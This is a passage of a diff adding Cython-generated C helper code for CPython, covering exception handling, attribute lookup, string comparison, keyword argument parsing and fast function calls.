(PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, 